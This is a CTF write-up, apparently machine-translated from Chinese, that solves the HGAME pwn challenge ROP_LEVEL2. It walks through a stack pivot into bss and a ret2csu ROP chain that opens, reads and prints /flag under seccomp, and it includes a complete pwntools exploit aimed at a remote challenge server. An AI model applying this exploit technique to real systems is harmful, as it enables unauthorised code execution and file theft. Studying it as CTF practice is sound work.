HGAME pwn ROP_LEVEL2

  It took several days, finally put this question thoroughly understand the. . . It had been too dishes

    Download the file, first check checksec protection.

 

  Only opened the pseudo-code stack unenforceable, then drag the IDA look at the C's.

    Generally let you enter, and then let you enter it again.

  The first input words, will save the data input to the bss section, the second input data to the stack, and may overflow. After calculation, the cover can escape just rbp and return addresses. That is, we constructed ROP chain can not be too long, here we need to take one step transfer of the stack, the stack will be transferred to the bss segment.

  If the stack transfer it? It is time to re-cover rbp we need to cover our rbp fake rbp, and then perform leavel ret so that we can transfer to stack the past, and the transfer of command can be executed in the past. Of course, this is to be transferred to bss segment, because the data segment bss we can control, we can execute the command.

  There is this problem, open the seccomp, which is a protective, opened this protection in addition to the white list function above, we can only call the open, write, read function, can not directly get the shell, but our aim is to get the flag, known to flag in the same directory / flag, so we can only use these functions to get the flag up.

  Here we use the method to register csu assignment to call these functions. So this first payload structure.

 

1 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
3 
4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
5 
6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)

 

  The payload of the first row, the purpose is to open the input parameters, and may be just a placeholder rsp left position.

  The second line, call csu, to open additional parameters, equivalent to the implementation of the open ( "/ flag", 0,0)

  第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。

  最后一行就很清楚了,利用puts函数输出flag。

完整的exp:

 1 from pwn import *
 2 import time
 3 
 4 #p = process('./ROP_LEVEL2')
 5 p = remote('47.103.214.163',20300)
 6 elf = ELF('ROP_LEVEL2')
 7 context.log_level = 'debug'
 8 
 9 csu_end = 0x0400A3A
10 csu_front = 0x0400A20
11 puts_plt = elf.plt['puts']
12 
13 flag_addr = elf.bss() + 0x200
14 buf_addr = 0x06010A0
15 open_got = elf.got['open']
16 read_got = elf.got['read']
17 pop_rdi = 0x0400a43
18 
19 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
23 
24 p.recvuntil('so?\n')
25 p.send(payload)
26 
27 sleep(1)
28 leave_addr = 0x040090d
29 payload1 = 'U'*0x50 + p64(buf_addr) + p64(leave_addr)
30 p.recvuntil('flag\n\n')
31 p.sendline(payload1)
32 p.recv()
33 p.close()

 

运行一下,拿到flag!

 

Guess you like

Origin www.cnblogs.com/bhxdn/p/12325667.html
pwn